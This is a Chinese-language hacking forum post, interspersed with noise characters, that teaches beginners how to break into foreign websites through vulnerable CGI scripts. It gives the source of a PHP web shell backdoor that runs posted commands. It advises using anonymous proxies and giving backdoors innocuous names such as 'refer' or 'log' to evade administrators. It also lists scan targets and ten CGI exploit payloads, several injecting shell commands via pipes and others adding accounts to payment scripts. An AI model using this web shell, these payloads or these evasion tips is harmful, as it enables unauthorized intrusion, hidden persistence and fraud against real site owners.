CGI 脚本入侵快速上手+脚本使用方法

admin

CGI 脚本入侵快速上手+脚本使用方法
大家好 我是bboyhip  只是一名菜菜的exploiter
" L- Q- }5 T/ v+ k" K3 J很开心来到贵论坛
这里让我感觉 很有技术交流的感觉
我会长长来玩的
, U6 I+ }9 B0 Y! t# G" l' R1 e前言:
+ Q' u% Z8 X* B5 b/ o0 ?; X以下讲解针对欧美日本网站
6 \  E3 X4 A6 [: n  w& M8 a當我們在做滲透分析的時候 方法有很多
# Q) y5 a8 a8 D3 ^# v/ H$ l我门都知道 国外伺服器大多是linux 平台
/ G; T- t9 u5 e' P5 O) z! ^. g所以有很多网站程序有6成都会使用cgi 脚本来管理
8 `4 s, ]/ Z2 q; ?目录为/cgi-bin/

, e/ \/ G5 o! e+ ^' a只是个人在实务上一些经验
) J4 S" ~8 `! g+ w' w9 w  f2 T3 M# I写的不好 请多多见谅喔
在这里我简单分为几个部份一定要會的
! G3 k1 n9 s% {1 h+ i" y1 A讲解一下
5 H& i* U; T2 F( I# f- @让没有基础的人很容易上手

以下内容跟帖回复才能看到
==============================
7 [1 }7 `$ ^' r7 a
7 Y% p; I( k2 G# p+ B/ S: L第1部份: 何谓Shell?
9 o4 g& }6 U; SShell的中文, 可称为 "壳".  Shell 是一个比较复杂的概念, 先看比较传统的解释:
0 y6 X' I. y+ Q4 Q2 x( cA shell is the program which reads user input from the command line and executes actions based upon that input.
$ u7 l2 t: O- i6 A; c# Z意思是, 通过应用程式(shell), 用户输入指令, 由系统执行该指令.
7 D" G- @  Q/ t3 `2 n; F
/ ]2 p/ e6 ?* U/ s: G0 R7 ^对於黑客来说, shell是後门, 是入侵/ 控制/ 浏览对方系统的程式/ 方法.  
" O; I7 O2 g1 w0 ?# X0 @! D要自行建立一个shell是十分困难的, 因为要先找漏洞, 找到後, 利用该漏洞来写入档案/ 後门.  大家都知道, 有些漏洞只可加码, 有些可读档, 但可以写档的不多.  在数年前, 有一个十分流行及易用的漏洞addpasswd.cgi, 可以写後门, 但时至今日, 绝大部份的addpasswd.cgi已经被删除.
所以, 对於入门的exploiter来说, 先收集别人的後门, 多多练习, 然後再学习做自己的shell.

第2部份: Unix 指令
8 U5 K- U6 B& d9 u以下是一些常见及重要的指令:
; z- C) F* N+ d3 q% ]pwd: 显示当前目录, 即是後门/程式所在的位置
如 /home/www/site.com/cgi-bin/
% g, ~8 d( Y7 s1 `. e" U5 Rls: 列出档案 (-a 包含隐藏档; -l 包含详细资料).  
( [' T# K) O2 T$ U( k$ N! Als -al :详细列出档案资料(当前目录)
2 e4 `+ G; H' \$ g. D1 s3 @ls /: 列出根目录
" n, x8 S' v3 l6 P7 X* \7 M  lls /etc: 列出/etc的资料夹及档案
ls ../ -al: 详细列出上一层的资料夹及档案
cat: 显示档案内容
cat .htpasswd: 显示 .htpasswd 这个档案的内容(当前目录)
cat /etc/passwd: 显示 /etc/passwd 这个档案的内容
who: 显示谁login 至系统
man: 显示指令用法  
& h  a' @# z% S, I& H& c$ Jman ls: 显示ls这指令的用法  
mkdir 建立目录
: e0 t6 {; L3 Q) }1 ]rmdir 删除目录
  T5 U- }) A* R* L; Umv 移动档案
% n% s% v4 M- \0 ~! x: _& S/ grm 删除档案

第3部份: Shell的使用
例如:
http://site.com/refer.php
这是我的後门, 原代码如下:
" D7 B; x5 F/ V. y7 \4 D<Form Action="#" Method="POST">
<Input type="text" name="cmd">
3 x7 S/ q. r1 j1 B0 b<Input type="Submit">
</Form>
7 z. q* A! C' N; x5 e1 P9 [- w<?php
$cmd = $_POST['cmd'];
8 \" a  y8 q7 l$Output = shell_exec($cmd);
echo $Output;
?>
输入pwd, 可得到绝对路径:
/home/htdocs/users/jnesbitt/jnesbitt/nylonfantasies.com

第4部份: 注意事项
7 I1 M: }- y/ q* Q- 使用匿名代理, 保障自己
5 T8 T" J' e( O& ~. S$ ?1 o- 不可恶意破坏, 或更改现有档案, 否则管理员发现了, 不但会删除後门, 可能会有追究行动
; e4 i0 n: ~7 z9 {! M- 加後门前, 必须了解目标系统是否支援.  例如, cgi後门, 应放在cgi-bin; 有些系统可能不支援 php後门等.
) R2 `6 d, @( O' R" P  A5 }- 加後门前 (如 index.php), 先检查是否已存在该档案名称, 以免覆盖原有档案, 造成破坏.
3 T! I4 u& I; X- 後门的名称, 不可使用hack, crack, exploit等字眼, 最好使用index, index1, log, login, refer, tmp, test, info等, 鱼目混珠,
. `( T4 E7 D; m* {" F+ X不容易被发现.
- 将後门放在比较隐闭的地方 (例如 /cgi-bin/内, 有很多cgi档案, 比较少php档案)
针对网站的渗透分析方法太多了
这篇文章的重点是cgi 脚本攻击
8 a2 M  S$ p$ ^" `* m所以我用简单的叙述形容
开始讲解脚本入侵过程:
在这里提供一些方法思路让大家学习一下
4 D1 t. T" B8 m' Q) Z5 y
7 _+ A% c" H3 J3 q; x3 h$ u1.一开始对一个网站进行cgi漏洞扫描
我们需要的东西有
/ |% X% v  H3 a0 ?1 t扫洞工具 如:triton..等等
/ r5 d1 L* X  d+ w4 Y: o9 |E表
3 J" r3 |! C3 b: \9 z如
3 ~8 C* y. W- d+ v& K0 }1 G/cgi-bin/add-passwd.cgi
/ Q  P5 o1 }) m% B2 @" O9 F! a: S/WebShop/templates/cc.txt
/Admin_files/order.log
/orders/mountain.cfg
/cgi-sys/cart.pl
/scripts/cart.pl
/htbin/cart.pl
E表来源可以是网路收寻或是自己的0 day
7 e% Q7 c' u; t# f: O/ N
2.怎样确认扫到的洞 是真的还假的?
举例: target: http://www.site.com/cgi-bin/add-passwd.cgi
9 x0 P3 }$ w6 Z8 P( x* D一般都是在IE里先看一下的,记住这个返回码哦
; M: I+ }1 N9 k; d8 U3 oERROR:This script should be referenced with a METHOD of POST.
没有返回一定是假的
3.重来来了 很多人都会问我
4 I# ^$ Q# _$ Z他扫到很多洞 但是不会使用
因为这些漏洞 使用的语法 称为post
我们要找post 的方法很多
* r7 M8 t5 X9 W' R可以是源代码分析 找出介质
或是用抓包工具 抓他的语法...等等

9 z" r8 [; {  d; p: f1 U. E以下我提供10个 cgi 洞以及使用方法post
6 m3 S- V# c$ ]让大家可以针对网站去做扫描  
8 ]( V' N% C' T: f1 o5 }0 w/index.cgi
wei=ren&gen=command
/passmaster.cgi
. R9 r% E6 a% P! ]Action=Add&Username=Username&Password=Password
/accountcreate.cgi
username=username&password=password&ref1=|echo;ls|
, T' l" C7 I$ a7 ?/form.cgi
6 h& i8 a8 C% U* r% |name=xxxx&email=email&subject=xxxx&response=|echo;ls|
/addusr.pl
/cgi-bin/EuroDebit/addusr.pl
user=username&pass=Password&confirm=Password
6 {, d2 m$ Z% Y) a+ n5 o/ccbill-local.asp
( G8 @+ |1 x# l! q) {post_values=username:password
/count.cgi
pinfile=|echo;ls -la;exit|
/recon.cgi
" X0 w- h& F/ U5 h/recon.cgi?search
! E3 P$ g) g' |$ n4 ~  bsearchoption=1&searchfor=|echo;ls -al;exit|
& n& x4 v' s7 J% ?; g. z- J/verotelrum.pl
6 \. v& t. k7 y! P1 c4 H8 n- f& R$ @vercode=username:password:dseegsow:add:amount<&30>
; Q0 J$ I. X6 |9 \# \/af.cgi_browser_out=|echo;ls -la;exit;|

1 V9 \2 O' {& Z6 q今天就讲到这  感谢大家支持
1 L& P0 `1 z6 w) D